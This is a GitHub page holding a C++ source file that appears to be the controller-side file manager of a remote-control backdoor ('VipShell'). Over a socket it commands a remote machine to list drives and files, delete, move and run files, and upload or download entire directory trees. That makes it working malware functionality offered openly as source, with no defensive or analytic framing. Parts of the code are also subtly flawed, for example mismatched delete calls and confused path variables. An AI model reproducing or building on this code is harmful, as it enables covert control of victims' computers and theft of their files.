Skip to content
Navigation Menu
{{ message }}
-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathServerFileManageHandle.cpp
More file actions
399 lines (385 loc) · 10.5 KB
/
Copy pathServerFileManageHandle.cpp
File metadata and controls
399 lines (385 loc) · 10.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#include "stdafx.h"
#include ".\filemanage.h"
#include ".\serverfilemanagehandle.h"
CServerFileManageHandle::CServerFileManageHandle(void)
{
m_hCallBack = NULL;
m_dwBuffLen = 0;
m_pBuffData = NULL;
}
CServerFileManageHandle::~CServerFileManageHandle(void)
{
if(m_pBuffData)
delete m_pBuffData;
}
BYTE* CServerFileManageHandle::__NewBuff(DWORD dwLen)
{
if(dwLen <= m_dwBuffLen )
return m_pBuffData;
if(m_pBuffData)
delete m_pBuffData;
m_pBuffData = new BYTE[dwLen];
if(!m_pBuffData)
m_dwBuffLen = 0;
else
m_dwBuffLen = dwLen;
return m_pBuffData;
}
void CServerFileManageHandle::SetCallBack(CFileManageCallBack* e)
{
m_hCallBack = e;
}
bool CServerFileManageHandle::GetRoot(File_Root_Vector* pVector)
{
pVector->clear();
int nRet;
tagVipShellCmd cmd;
cmd.dwCmd = FILE_GETROOT;
nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
DWORD dwFileSize = cmd.dw1;
BYTE* pBuf = __NewBuff(dwFileSize * sizeof(structFileInfo));
cmd.dwCmd = CMD_ISOK;
nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = _RecvBuffData(pBuf, dwFileSize * sizeof(structFileInfo));
if(nRet == SOCKET_ERROR)
return false;
structFileInfo info;
for(DWORD i = 0; i < dwFileSize; i++)
{
memcpy(&info, pBuf + i * sizeof(structFileInfo), sizeof(structFileInfo));
pVector->push_back(info);
}
return true;
}
bool CServerFileManageHandle::GetFileInfo(LPCWSTR szPath, File_Info_Vector* pVector)
{
pVector->clear();
int nRet;
tagVipShellCmd cmd;
cmd.dwCmd = FILE_GETFILEPATH;
lstrcpy((WCHAR*)cmd.pBuff, szPath);
nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
DWORD dwFileSize = cmd.dw1;
BYTE* pBuf = __NewBuff(dwFileSize * sizeof(tagVipShellFileInfo));
cmd.dwCmd = CMD_ISOK;
nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = _RecvBuffData(pBuf, dwFileSize * sizeof(tagVipShellFileInfo));
if(nRet == SOCKET_ERROR)
return false;
tagVipShellFileInfo info;
for(DWORD i = 0; i < dwFileSize; i++)
{
memcpy(&info, pBuf + i * sizeof(tagVipShellFileInfo), sizeof(tagVipShellFileInfo));
pVector->push_back(info);
}
return true;
}
bool CServerFileManageHandle::CreateDir(LPCWSTR szPath)
{
tagVipShellCmd cmd;
cmd.dwCmd = FILE_CREATEDIR;
memset(cmd.pBuff, 0, sizeof(cmd.pBuff));
lstrcpy((LPWSTR)cmd.pBuff, szPath);
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
if(cmd.dwCmd != CMD_ISOK)
return false;
return true;
}
bool CServerFileManageHandle::DelFile(LPCWSTR szPath)
{
tagVipShellCmd cmd;
cmd.dwCmd = FILE_DELETEFILE;
memset(cmd.pBuff, 0, sizeof(cmd.pBuff));
lstrcpy((LPWSTR)cmd.pBuff, szPath);
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
return true;
}
bool CServerFileManageHandle::RunFile(LPCWSTR szPath, LPCWSTR szPathDir, DWORD nCmdShow)
{
tagVipShellCmd cmd;
cmd.dwCmd = FILE_RUNFILE;
cmd.dw1 = nCmdShow;
strcpy((char*)cmd.pBuff, CW2A(szPath));
strcpy((char*)cmd.pBuff + 256, CW2A(szPathDir));
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
return true;
}
bool CServerFileManageHandle::MoveFile(LPCWSTR szPath, LPCWSTR szPath1)
{
tagVipShellCmd cmd;
cmd.dwCmd = FILE_MOVEFILE;
strcpy((char*)cmd.pBuff, CW2A(szPath));
strcpy((char*)cmd.pBuff + 256, CW2A(szPath1));
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
return true;
}
bool CServerFileManageHandle::__RecvFile(LPCTSTR szFile, LPCWSTR szRemote, DWORD dwSize)
{
FILE* fp = _wfopen(szFile, L"wb");
if(fp == NULL)
return false;
if( dwSize == 0)
{
fclose(fp);
return true;
}
DWORD dwlen = dwSize;
DWORD dwSendBuflen = 16 * 1024;
BYTE Buf[16 * 1024];
DWORD dwSendLen = 0;
DWORD dwSended;
DWORD dwRbuf = dwlen;
bool bIsOk = false;
DWORD dwStartTime = GetTickCount();
while(dwSendLen < dwlen)
{
dwRbuf = (dwlen - dwSendLen);
if( dwRbuf >= dwSendBuflen)
{
dwSended = m_hServer.Recv(Buf, dwSendBuflen);
if( dwSended == SOCKET_ERROR)
break;
}
else
{
dwSended = m_hServer.Recv(Buf, dwRbuf);
if( dwSended == SOCKET_ERROR)
break;
}
fwrite(Buf, 1, dwSended, fp);
dwSendLen += dwSended;
if(m_hCallBack)
m_hCallBack->OnDownFileIng(szFile, szRemote, dwSize, dwSendLen, dwStartTime);
}
if(dwSendLen == dwlen)
bIsOk =true;
fclose(fp);
return bIsOk;
}
bool CServerFileManageHandle::__SendFile(LPCTSTR szFile, LPCWSTR szRemote)
{
DWORD dwFileLen = __GetFileSize(szFile);
HANDLE hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
return false;
DWORD dwRead = 0;
BYTE Buf[16 * 1024];
bool bRet = false;
int nSendLen = 0;
DWORD dwSended = 0 ;
DWORD dwStartTime = GetTickCount();
while(true)
{
ReadFile(hFile, Buf, 16 * 1024, &dwRead, 0);
if(dwRead == 0)
{
bRet = TRUE;
break;
}
nSendLen = _SendBuffData(Buf, dwRead);
if( nSendLen == SOCKET_ERROR)
{
m_hServer.Close();
break;
}
dwSended += nSendLen;
if(m_hCallBack)
m_hCallBack->OnUpFileIng(szFile, szRemote, dwFileLen, dwSended, dwStartTime);
}
CloseHandle(hFile);
return bRet;
}
DWORD CServerFileManageHandle::__GetFileSize(LPCTSTR szFile)
{
DWORD dwSize;
HANDLE hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
return -1;
dwSize = GetFileSize (hFile, NULL) ;
if (dwSize == INVALID_FILE_SIZE)
{
CloseHandle(hFile);
return -1;
}
CloseHandle(hFile);
return dwSize;
}
bool CServerFileManageHandle::DowndFile(LPCWSTR szPath, LPCWSTR szRemote)
{
tagVipShellCmd cmd;
cmd.dwCmd = FILE_DWONFILE;
memset(cmd.pBuff, 0, sizeof(cmd.pBuff));
lstrcpy((LPTSTR)cmd.pBuff, szRemote);
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
if( cmd.dw1 == 0 )
__RecvFile(szPath, szRemote, 0);
if( cmd.dw1 == -1 )
return false;
DWORD dwFileLen = cmd.dw1;
cmd.dwCmd = CMD_ISOK;
nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
bool bIsOk = __RecvFile(szPath, szRemote, dwFileLen);
return bIsOk;
}
bool CServerFileManageHandle::UpFile(LPCWSTR szPath, LPCWSTR szRemote)
{
DWORD dwFileSize = __GetFileSize(szPath);
if(dwFileSize == -1)
return false;
tagVipShellCmd cmd;
cmd.dwCmd = FILE_UPFILE;
cmd.dw1 = dwFileSize;
memset(cmd.pBuff, 0, sizeof(cmd.pBuff));
lstrcpy((LPTSTR)cmd.pBuff, szRemote);
int nRet = m_hServer.Send(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
if(dwFileSize == 0)
return true;
bool bSend = __SendFile(szPath, szRemote);
nRet = m_hServer.Recv(&cmd, sizeof(tagVipShellCmd));
if(nRet == SOCKET_ERROR)
return false;
return bSend;
}
bool CServerFileManageHandle::DowndFileDir(LPCWSTR szPath, LPCWSTR szRemote)
{
std::wstring strPath = szRemote;
if( szPath[lstrlen(szPath) -1] != _T('\\') )
strPath += _T("\\");
{{
std::wstring strPath = szPath;
if( szPath[lstrlen(szPath) -1] != _T('\\') )
strPath += _T("\\");
BOOL bOK = CreateDirectory(strPath.c_str(), NULL);
if(!bOK)
return false;
}}
File_Info_Vector Vector;
bool bIsOk = GetFileInfo(strPath.c_str(), &Vector);
if(!bIsOk)
return false;
DWORD dwFileCount = Vector.size();
for(DWORD i = 0; i < Vector.size(); i++)
{
if(lstrcmp(Vector[i].cFileName, _T(".")) == 0)
continue;
if(lstrcmp(Vector[i].cFileName, _T("..")) == 0)
continue;
std::wstring strPath = szPath;
if( szPath[lstrlen(szPath) -1] != _T('\\') )
strPath += _T("\\");
std::wstring strRemote = szRemote;
if( szRemote[lstrlen(szRemote) -1] != _T('\\') )
strRemote += _T("\\");
if(Vector[i].bIsDir)
{
strPath += Vector[i].cFileName;
strPath += _T("\\");
strRemote += Vector[i].cFileName;
strRemote += _T("\\");
bIsOk = DowndFileDir(strPath.c_str(), strRemote.c_str());
if(!bIsOk)
return false;
}
else
{
strPath += Vector[i].cFileName;
strRemote += Vector[i].cFileName;
bIsOk = DowndFile(strPath.c_str(), strRemote.c_str());
if(!bIsOk)
return false;
}
}
return true;
}
bool CServerFileManageHandle::UpFileDir(LPCWSTR szPath, LPCWSTR szRemote)
{
CFileManage hFileManage;
hFileManage.GetFileInfo(szPath);
bool bIsOk;
{{
std::wstring strRemote = szRemote;
if( szRemote[lstrlen(szRemote) -1] != _T('\\') )
strRemote += _T("\\");
bIsOk = CreateDir(strRemote.c_str());
if (!bIsOk)
return false;
}}
for(DWORD i = 0; i < hFileManage.m_Fileinfo.size(); i++)
{
if(lstrcmp(hFileManage.m_Fileinfo[i].cFileName, _T(".")) == 0)
continue;
if(lstrcmp(hFileManage.m_Fileinfo[i].cFileName, _T("..")) == 0)
continue;
std::wstring strPath = szPath;
if( szPath[lstrlen(szPath) -1] != _T('\\') )
strPath += _T("\\");
std::wstring strRemote = szRemote;
if( szRemote[lstrlen(szRemote) -1] != _T('\\') )
strRemote += _T("\\");
if(hFileManage.m_Fileinfo[i].bIsDir)
{
strPath += hFileManage.m_Fileinfo[i].cFileName;
strPath += _T("\\");
strRemote += hFileManage.m_Fileinfo[i].cFileName;
strRemote += _T("\\");
bIsOk = UpFileDir(strPath.c_str(), strRemote.c_str());
if(!bIsOk)
return false;
}
else
{
strPath += hFileManage.m_Fileinfo[i].cFileName;
strRemote += hFileManage.m_Fileinfo[i].cFileName;
bIsOk = UpFile(strPath.c_str(), strRemote.c_str());
if(!bIsOk)
return false;
}
}
return true;
}
You can’t perform that action at this time.
